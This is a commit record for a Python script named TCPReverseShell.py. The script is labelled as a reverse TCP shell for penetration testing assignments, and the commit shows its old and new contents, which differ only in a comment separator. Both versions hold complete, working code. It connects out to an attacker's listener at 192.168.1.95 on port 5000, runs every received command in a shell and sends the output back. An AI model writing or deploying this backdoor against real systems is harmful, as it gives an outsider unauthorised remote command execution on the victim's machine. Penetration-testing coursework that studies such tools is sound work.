old_contents: # Reverse TCP Shell in Python For Offensive Security/Penetration Testing Assignments 
  # Connect on LinkedIn  https://www.linkedin.com/in/lismore or Twitter @patricklismore
  #=======================================================================================================================================================================
  
  # Python TCP Client
  
  import socket
  import subprocess
  
  #Start client function
  
  def startClient():
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        # create the socket object 'sock' 
      sock.connect(('192.168.1.95', 5000))                            # Replace the IP and listening port to your attack machine
   
      while True:                                                     # start an infinite loop
          sentCommand =  sock.recv(1024)                              # read the 1st KB of the tcp socket
          
          if 'terminate' in sentCommand:                              # if we get a termiante string from the attack machine then we will close the socket, end the loop
              sock.close()
              break 
          
          else:                                                       # or else, the sent command gets sent to the victim shell process
              
              CMD =  subprocess.Popen(sentCommand, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
              
              sock.send( CMD.stdout.read()  )                         # return shell result
              sock.send( CMD.stderr.read()  )                         # return any shell errors
  
  #Main function
              
  def main ():
      startClient()
  
  #Program entry point
      
  main()
  
new_contents: # Reverse TCP Shell in Python For Offensive Security/Penetration Testing Assignments 
  # Connect on LinkedIn  https://www.linkedin.com/in/lismore or Twitter @patricklismore
  #=========================================================================================================================================
  
  # Python TCP Client
  
  import socket
  import subprocess
  
  #Start client function
  
  def startClient():
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        # create the socket object 'sock' 
      sock.connect(('192.168.1.95', 5000))                            # Replace the IP and listening port to your attack machine
   
      while True:                                                     # start an infinite loop
          sentCommand =  sock.recv(1024)                              # read the 1st KB of the tcp socket
          
          if 'terminate' in sentCommand:                              # if we get a termiante string from the attack machine then we will close the socket, end the loop
              sock.close()
              break 
          
          else:                                                       # or else, the sent command gets sent to the victim shell process
              
              CMD =  subprocess.Popen(sentCommand, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
              
              sock.send( CMD.stdout.read()  )                         # return shell result
              sock.send( CMD.stderr.read()  )                         # return any shell errors
  
  #Main function
              
  def main ():
      startClient()
  
  #Program entry point
      
  main()
  
subject: Update TCPReverseShell.py